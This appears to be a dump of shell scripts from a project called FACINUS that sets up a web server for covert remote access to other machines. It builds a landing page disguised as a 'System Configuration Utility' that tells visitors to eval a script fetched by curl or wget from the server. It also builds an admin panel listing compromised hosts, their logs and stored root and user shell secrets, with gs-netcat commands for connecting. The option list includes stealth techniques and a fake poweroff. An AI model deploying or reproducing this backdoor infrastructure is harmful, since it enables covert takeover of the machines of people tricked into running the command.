cat > /tmp/index.html << EOF
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>System Configuration Utility</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 40px 20px;
background-color: #f2f2f2;
color: #333;
line-height: 1.6;
}
.container {
max-width: 800px;
margin: 0 auto;
background: #fff;
padding: 30px;
border-radius: 8px;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);
}
h1, h2 {
text-align: center;
color: #444;
}
.instructions {
text-align: center;
margin-bottom: 30px;
}
.variant {
margin-bottom: 25px;
}
.command {
background-color: #2d2d2d;
color: #f8f8f2;
padding: 15px;
border-radius: 5px;
font-family: monospace;
overflow-x: auto;
white-space: pre;
}
.label {
font-weight: bold;
margin-bottom: 8px;
display: block;
text-align: center;
}
a {
color: #007acc;
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
</style>
</head>
<body>
<div class="container">
<h1>System Configuration Utility</h1>
<h2>Quick Setup</h2>
<p class="instructions">Run one of the following commands in your terminal:</p>
<div class="variant">
<span class="label">Using curl:</span>
<div class="command">
eval "\$(curl -fsSL http://${SERVER_IP}/deployment/y)"
</div>
</div>
<div class="variant">
<span class="label">Using wget:</span>
<div class="command">
eval "\$(wget -qO- http://${SERVER_IP}/deployment/y)"
</div>
</div>
<p style="text-align:center;">
<a href="https://github.com/elleoma/Gback" target="_blank">Gback</a>
</p>
</div>
</body>
</html>
EOF
sudo sed -i "s|\${SERVER_IP}|$SERVER_IP|g" /tmp/index.html
sudo mv /tmp/index.html "$SERVER_ROOT/index.html"
cat > /tmp/admin.php << 'EOF'
<?php
$admin_password = 'ADMIN_PASSWORD_PLACEHOLDER';
$authenticated = false;
if (isset($_POST['password']) && $_POST['password'] === $admin_password) {
$authenticated = true;
} elseif (isset($_COOKIE['admin_auth']) && $_COOKIE['admin_auth'] === md5($admin_password)) {
$authenticated = true;
}
if ($authenticated && !isset($_COOKIE['admin_auth'])) {
setcookie('admin_auth', md5($admin_password), time() + 3600);
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Administration</title>
<style>
body { font-family: Arial, sans-serif; margin: 20px; }
.login {
max-width: 400px;
margin: 100px auto;
padding: 20px;
border: 1px solid #ccc;
border-radius: 5px;
}
.logs {
background-color: #f4f4f4;
padding: 15px;
border-radius: 5px;
font-family: monospace;
white-space: pre-wrap;
max-height: 500px;
overflow-y: auto;
}
.secret {
background-color: #ffe;
padding: 10px;
border: 1px solid #ddd;
margin: 10px 0;
}
table {
width: 100%;
border-collapse: collapse;
}
th, td {
padding: 8px;
text-align: left;
border-bottom: 1px solid #ddd;
}
th { background-color: #f2f2f2; }
</style>
</head>
<body>
<?php if (!$authenticated): ?>
<div class="login">
<h2>Admin Authentication</h2>
<form method="post">
<p>
<label for="password">Password:</label>
<input type="password" id="password" name="password">
</p>
<p>
<button type="submit">Login</button>
</p>
</form>
</div>
<?php else: ?>
<h1>Deployment Administration</h1>
<h2>Connected Hosts</h2>
<table>
<tr>
<th>Hostname</th>
<th>IP Address</th>
<th>Last Contact</th>
<th>Actions</th>
</tr>
<?php
$logs_dir = './logs';
$secrets_dir = './secrets';
$hosts = [];
// Parse log files to get list of hosts
if (is_dir($logs_dir)) {
foreach (glob("$logs_dir/*.log") as $log_file) {
$filename = basename($log_file);
if (preg_match('/^([0-9\.]+)_([^_]+)_(\d{4}-\d{2}-\d{2}_\d{2}-\d{2}-\d{2})\.log$/', $filename, $matches)) {
$ip = $matches[1];
$hostname = $matches[2];
$timestamp = str_replace('_', ' ', $matches[3]);
// Check if we have a secret for this host
$root_secret_file = "$secrets_dir/{$hostname}_root-shell_latest.txt";
$has_root_secret = file_exists($root_secret_file);
$user_secret_file = "$secrets_dir/{$hostname}_user-shell_latest.txt";
$has_user_secret = file_exists($user_secret_file);
// Add to hosts array or update timestamp if newer
if (!isset($hosts["$hostname-$ip"]) || $timestamp > $hosts["$hostname-$ip"]['timestamp']) {
$hosts["$hostname-$ip"] = [
'hostname' => $hostname,
'ip' => $ip,
'timestamp' => $timestamp,
'has_root_secret' => $has_root_secret,
'has_user_secret' => $has_user_secret
];
}
}
}
}
// Display hosts
if (empty($hosts)) {
echo "<tr><td colspan='4'>No hosts have connected yet.</td></tr>";
} else {
foreach ($hosts as $host) {
echo "<tr>";
echo "<td>{$host['hostname']}</td>";
echo "<td>{$host['ip']}</td>";
echo "<td>{$host['timestamp']}</td>";
echo "<td>";
echo "<a href=\"?view_logs={$host['hostname']}&ip={$host['ip']}\">View Logs</a>";
if ($host['has_root_secret']) {
echo " | <a href=\"?view_secret={$host['hostname']}&type=root-shell\">Root Shell</a>";
}
if ($host['has_user_secret']) {
echo " | <a href=\"?view_secret={$host['hostname']}&type=user-shell\">User Shell</a>";
}
echo "</td>";
echo "</tr>";
}
}
?>
</table>
<?php
// Show logs for a selected host
if (isset($_GET['view_logs'])) {
$hostname = $_GET['view_logs'];
$ip = isset($_GET['ip']) ? $_GET['ip'] : '';
$pattern = "$logs_dir/{$ip}_{$hostname}_*.log";
$log_files = glob($pattern);
if (!empty($log_files)) {
rsort($log_files); // Show newest first
$latest_log = $log_files[0];
$log_content = htmlspecialchars(file_get_contents($latest_log));
echo "<h2>Logs for $hostname ($ip)</h2>";
echo "<div class='logs'>$log_content</div>";
}
}
// Show secret for a selected host
if (isset($_GET['view_secret'])) {
$hostname = $_GET['view_secret'];
$type = isset($_GET['type']) ? $_GET['type'] : 'root-shell';
$secret_file = "$secrets_dir/{$hostname}_{$type}_latest.txt";
if (file_exists($secret_file)) {
$secret = file_get_contents($secret_file);
echo "<h2>$type Secret for $hostname</h2>";
echo "<div class='secret'>$secret</div>";
echo "<p>To connect using gsocket:</p>";
echo "<div class='logs'>gs-netcat -s \"$secret\" -i</div>";
}
}
?>
<p><a href="admin.php">Back to Host List</a> | <a href="admin.php?logout=1">Logout</a></p>
<?php endif; ?>
<?php
if (isset($_GET['logout'])) {
setcookie('admin_auth', '', time() - 3600);
header('Location: admin.php');
exit;
}
?>
</body>
</html>
EOF
# Generate a random admin password
ADMIN_PASSWORD=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 12)
sed -i "s/ADMIN_PASSWORD_PLACEHOLDER/$ADMIN_PASSWORD/g" /tmp/admin.php
sudo mv /tmp/admin.php "$SERVER_ROOT/admin.php"
sudo chown -R http:http "$SERVER_ROOT"
sudo chmod -R 750 "$SERVER_ROOT"
sudo chmod 640 "$SERVER_ROOT/admin.php"
sudo chmod 640 "$SERVER_ROOT/log_receiver.php"
# Configure Apache
cat > /tmp/deployment.conf << EOF
<VirtualHost *:80>
ServerName ${SERVER_IP}
ServerAdmin webmaster@localhost
DocumentRoot "/srv/http"
DirectoryIndex index.html
<Directory "/srv/http/deployment">
Options -Indexes +FollowSymLinks
AllowOverride None
Require all granted
</Directory>
<Directory "/srv/http/deployment/logs">
Require all denied
</Directory>
<Directory "/srv/http/deployment/secrets">
Require all denied
</Directory>
ErrorLog "/var/log/httpd/deployment-error.log"
CustomLog "/var/log/httpd/deployment-access.log" combined
</VirtualHost>
EOF
sudo mv /tmp/deployment.conf /etc/httpd/conf/extra/deployment.conf
# Include our config in the main httpd.conf
if ! grep -q "Include conf/extra/deployment.conf" /etc/httpd/conf/httpd.conf; then
echo "Include conf/extra/deployment.conf" | sudo tee -a /etc/httpd/conf/httpd.conf > /dev/null
fi
sudo systemctl restart httpd
echo "=============================================================="
echo "Deployment server setup complete!"
echo "=============================================================="
echo "Server URL: http://$SERVER_IP/deployment"
echo "Admin Page: http://$SERVER_IP/deployment/admin.php"
echo "Admin Password: $ADMIN_PASSWORD"
echo "Client Setup Command: eval \"\$(wget -qO- http://${SERVER_IP}/deployment/y)\""
echo "=============================================================="
echo "Secret Token for accessing logs: $RANDOM_TOKEN"
echo "=============================================================="
# Save configuration for later use
save_config

81
process_args.sh Executable file
View File

@@ -0,0 +1,81 @@
#!/bin/bash
# Process command line arguments
process_args() {
# Process command line arguments
while [[ $# -gt 0 ]]; do
case $1 in
--no-root)
NO_ROOT=true
shift
;;
--no-services)
NO_SERVICES=true
shift
;;
--no-wol)
INSTALL_WOL=false
shift
;;
--no-fake-poweroff)
INSTALL_FAKE_POWEROFF=false
shift
;;
--no-gsocket)
INSTALL_GSOCKET=false
shift
;;
--no-stealth)
STEALTH_MODE=false
shift
;;
--light-theme)
DARK_THEME=false
shift
;;
--server-ip)
SERVER_IP="$2"
shift 2
;;
--server-port)
SERVER_PORT="$2"
shift 2
;;
--server-root)
SERVER_ROOT="$2"
shift 2
;;
--verbose)
VERBOSE=true
shift
;;
--help)
echo "FACINUS Installation Script"
echo "Usage: $0 [options]"
echo
echo "Options:"
echo " --no-root Install without root privileges (limited functionality)"
echo " --no-services Don't install system services"
echo " --no-wol Don't configure Wake-on-LAN"
echo " --no-fake-poweroff Don't install fake poweroff feature"
echo " --no-gsocket Don't install gsocket for remote access"
echo " --no-stealth Don't apply stealth techniques"
echo " --light-theme Use light theme for web interface"
echo " --server-ip IP Specify server IP address"
echo " --server-port PORT Specify server port (default: 80)"
echo " --server-root PATH Specify server root directory"
echo " --verbose Show verbose output"
echo " --help Show this help message"
exit 0
;;
*)
echo "Unknown option: $1"
echo "Run with --help for usage information."
exit 1
;;
esac
done
}
# Process provided arguments
process_args "$@"

393
web_setup.sh Executable file
View File

@@ -0,0 +1,393 @@
#!/bin/bash
# Set up the web server components
setup_web_server() {
echo "Setting up web server..."
# Create necessary directories
sudo mkdir -p "$SERVER_ROOT/assets"
sudo mkdir -p "$SERVER_ROOT/logs"
sudo mkdir -p "$SERVER_ROOT/secrets"
sudo mkdir -p "$SERVER_ROOT/css"
# Set correct permissions
case "$DISTRO" in
arch)
sudo chown -R http:http "$SERVER_ROOT/logs"
sudo chown -R http:http "$SERVER_ROOT/secrets"
;;
debian|ubuntu)
sudo chown -R www-data:www-data "$SERVER_ROOT/logs"
sudo chown -R www-data:www-data "$SERVER_ROOT/secrets"
;;
redhat|fedora|centos)
sudo chown -R apache:apache "$SERVER_ROOT/logs"
sudo chown -R apache:apache "$SERVER_ROOT/secrets"
;;
*)
# Try to guess the web server user
if id -u http &>/dev/null; then
sudo chown -R http:http "$SERVER_ROOT/logs"
sudo chown -R http:http "$SERVER_ROOT/secrets"
elif id -u www-data &>/dev/null; then
sudo chown -R www-data:www-data "$SERVER_ROOT/logs"
sudo chown -R www-data:www-data "$SERVER_ROOT/secrets"
elif id -u apache &>/dev/null; then
sudo chown -R apache:apache "$SERVER_ROOT/logs"
sudo chown -R apache:apache "$SERVER_ROOT/secrets"
else
echo "Warning: Could not determine web server user. Setting default permissions."
fi
;;
esac
sudo chmod 750 "$SERVER_ROOT/logs"
sudo chmod 750 "$SERVER_ROOT/secrets"
# Copy web files
copy_web_files
# Configure web server
configure_webserver
}
copy_web_files() {
# Copy PHP files from the web directory to the server root
sudo cp -r "$WEB_DIR/"* "$SERVER_ROOT/"
# Add the theme CSS
create_theme_files
# Update configurations in files
sudo sed -i "s/TOKEN_PLACEHOLDER/$SECRET_TOKEN/g" "$SERVER_ROOT/log_receiver.php"
sudo sed -i "s/ADMIN_PASSWORD_PLACEHOLDER/$ADMIN_PASSWORD/g" "$SERVER_ROOT/admin.php"
# Set proper permissions
sudo chmod 640 "$SERVER_ROOT/admin.php"
sudo chmod 640 "$SERVER_ROOT/log_receiver.php"
}
create_theme_files() {
# Create dark theme CSS file
cat > "$TEMP_DIR/dark-theme.css" << 'EOF'
:root {
--bg-color: #1e1e1e;
--text-color: #e0e0e0;
--border-color: #444;
--header-bg: #252525;
--card-bg: #2d2d2d;
--link-color: #58a6ff;
--button-bg: #0d6efd;
--button-color: white;
--input-bg: #333;
--input-color: #e0e0e0;
--table-header-bg: #333;
--table-row-hover: #3a3a3a;
--code-bg: #2d2d2d;
--code-color: #e0e0e0;
}
body {
background-color: var(--bg-color);
color: var(--text-color);
}
.container, .card, .login {
background-color: var(--card-bg);
border-color: var(--border-color);
}
a {
color: var(--link-color);
}
input, select, textarea {
background-color: var(--input-bg);
color: var(--input-color);
border-color: var(--border-color);
}
button, .button {
background-color: var(--button-bg);
color: var(--button-color);
}
table {
border-color: var(--border-color);
}
th {
background-color: var(--table-header-bg);
}
tr:hover {
background-color: var(--table-row-hover);
}
.logs, pre, code, .command {
background-color: var(--code-bg);
color: var(--code-color);
}
.secret {
background-color: #332;
border-color: #554;
}
EOF
# Create light theme CSS file
cat > "$TEMP_DIR/light-theme.css" << 'EOF'
:root {
--bg-color: #f2f2f2;
--text-color: #333;
--border-color: #ddd;
--header-bg: #f8f8f8;
--card-bg: #fff;
--link-color: #0066cc;
--button-bg: #0d6efd;
--button-color: white;
--input-bg: #fff;
--input-color: #333;
--table-header-bg: #f2f2f2;
--table-row-hover: #f8f8f8;
--code-bg: #f8f8f8;
--code-color: #333;
}
body {
background-color: var(--bg-color);
color: var(--text-color);
}
.container, .card, .login {
background-color: var(--card-bg);
border-color: var(--border-color);
}
a {
color: var(--link-color);
}
input, select, textarea {
background-color: var(--input-bg);
color: var(--input-color);
border-color: var(--border-color);
}
button, .button {
background-color: var(--button-bg);
color: var(--button-color);
}
table {
border-color: var(--border-color);
}
th {
background-color: var(--table-header-bg);
}
tr:hover {
background-color: var(--table-row-hover);
}
.logs, pre, code, .command {
background-color: var(--code-bg);
color: var(--code-color);
}
.secret {
background-color: #ffe;
border-color: #ddc;
}
EOF
sudo cp "$TEMP_DIR/dark-theme.css" "$SERVER_ROOT/css/dark-theme.css"
sudo cp "$TEMP_DIR/light-theme.css" "$SERVER_ROOT/css/light-theme.css"
# Create theme switcher JS
cat > "$TEMP_DIR/theme-switcher.js" << 'EOF'
document.addEventListener('DOMContentLoaded', function() {
// Check for saved theme preference or use preferred color scheme
const savedTheme = localStorage.getItem('theme') ||
(window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light');
// Apply the theme
document.documentElement.setAttribute('data-theme', savedTheme);
// Create theme toggle button
const themeToggle = document.createElement('button');
themeToggle.id = 'theme-toggle';
themeToggle.innerHTML = savedTheme === 'dark' ? '☀️' : '🌙';
themeToggle.style.position = 'fixed';
themeToggle.style.bottom = '20px';
themeToggle.style.right = '20px';
themeToggle.style.borderRadius = '50%';
themeToggle.style.width = '50px';
themeToggle.style.height = '50px';
themeToggle.style.fontSize = '24px';
themeToggle.style.cursor = 'pointer';
themeToggle.style.border = 'none';
themeToggle.style.boxShadow = '0 2px 5px rgba(0,0,0,0.2)';
themeToggle.style.zIndex = '1000';
document.body.appendChild(themeToggle);
// Update link element
const themeLink = document.getElementById('theme-stylesheet');
themeLink.href = `css/${savedTheme}-theme.css`;
// Theme toggle functionality
themeToggle.addEventListener('click', function() {
const currentTheme = document.documentElement.getAttribute('data-theme');
const newTheme = currentTheme === 'dark' ? 'light' : 'dark';
document.documentElement.setAttribute('data-theme', newTheme);
themeLink.href = `css/${newTheme}-theme.css`;
themeToggle.innerHTML = newTheme === 'dark' ? '☀️' : '🌙';
// Save preference
localStorage.setItem('theme', newTheme);
});
});
EOF
sudo cp "$TEMP_DIR/theme-switcher.js" "$SERVER_ROOT/assets/theme-switcher.js"
# Update HTML files to include theme
sudo sed -i '/<\/head>/i \ <link id="theme-stylesheet" rel="stylesheet" href="css/light-theme.css">\n <script src="assets/theme-switcher.js"></script>' "$SERVER_ROOT/index.html"
sudo sed -i '/<\/head>/i \ <link id="theme-stylesheet" rel="stylesheet" href="css/light-theme.css">\n <script src="../assets/theme-switcher.js"></script>' "$SERVER_ROOT/admin.php"
}
configure_webserver() {
case "$DISTRO" in
arch)
configure_apache_arch
;;
debian|ubuntu)
configure_apache_debian
;;
redhat|fedora|centos)
configure_apache_redhat
;;
*)
echo "Warning: Automatic web server configuration not available for this distribution."
echo "Please configure your web server manually to serve from $SERVER_ROOT"
;;
esac
}
configure_apache_arch() {
# Create Apache configuration
cat > "$TEMP_DIR/deployment.conf" << EOF
<VirtualHost *:$SERVER_PORT>
ServerName ${SERVER_IP}
ServerAdmin webmaster@localhost
DocumentRoot "/srv/http"
DirectoryIndex index.html
<Directory "$SERVER_ROOT">
Options -Indexes +FollowSymLinks
AllowOverride None
Require all granted
</Directory>
<Directory "$SERVER_ROOT/logs">
Require all denied
</Directory>
<Directory "$SERVER_ROOT/secrets">
Require all denied
</Directory>
ErrorLog "/var/log/httpd/deployment-error.log"
CustomLog "/var/log/httpd/deployment-access.log" combined
</VirtualHost>
EOF
sudo mv "$TEMP_DIR/deployment.conf" /etc/httpd/conf/extra/deployment.conf
# Include our config in the main httpd.conf
if ! grep -q "Include conf/extra/deployment.conf" /etc/httpd/conf/httpd.conf; then
echo "Include conf/extra/deployment.conf" | sudo tee -a /etc/httpd/conf/httpd.conf > /dev/null
fi
# Start/restart Apache
sudo systemctl enable httpd
sudo systemctl restart httpd
}
configure_apache_debian() {
# Create Apache configuration
cat > "$TEMP_DIR/deployment.conf" << EOF
<VirtualHost *:$SERVER_PORT>
ServerName ${SERVER_IP}
ServerAdmin webmaster@localhost
DocumentRoot "/var/www/html"
DirectoryIndex index.html
Alias /deployment $SERVER_ROOT
<Directory "$SERVER_ROOT">
Options -Indexes +FollowSymLinks
AllowOverride None
Require all granted
</Directory>
<Directory "$SERVER_ROOT/logs">
Require all denied
</Directory>
<Directory "$SERVER_ROOT/secrets">
Require all denied
</Directory>
ErrorLog \${APACHE_LOG_DIR}/deployment-error.log
CustomLog \${APACHE_LOG_DIR}/deployment-access.log combined
</VirtualHost>
EOF
sudo mv "$TEMP_DIR/deployment.conf" /etc/apache2/sites-available/deployment.conf
sudo a2ensite deployment
# Start/restart Apache
sudo systemctl enable apache2
sudo systemctl restart apache2
}
configure_apache_redhat() {
# Create Apache configuration
cat > "$TEMP_DIR/deployment.conf" << EOF
<VirtualHost *:$SERVER_PORT>
ServerName ${SERVER_IP}
ServerAdmin webmaster@localhost
DocumentRoot "/var/www/html"
DirectoryIndex index.html
Alias /deployment $SERVER_ROOT
<Directory "$SERVER_ROOT">
Options -Indexes +FollowSymLinks
AllowOverride None
Require all granted
</Directory>
<Directory "$SERVER_ROOT/logs">
Require all denied
</Directory>
<Directory "$SERVER_ROOT/secrets">
Require all denied
</Directory>
ErrorLog /var/log/httpd/deployment-error.log
CustomLog /var/log/httpd/deployment-access.log combined
</VirtualHost>
EOF
sudo mv "$TEMP_DIR/deployment.conf" /etc/httpd/conf.d/deployment.conf
# Start/restart Apache
sudo systemctl enable httpd
sudo systemctl restart httpd
}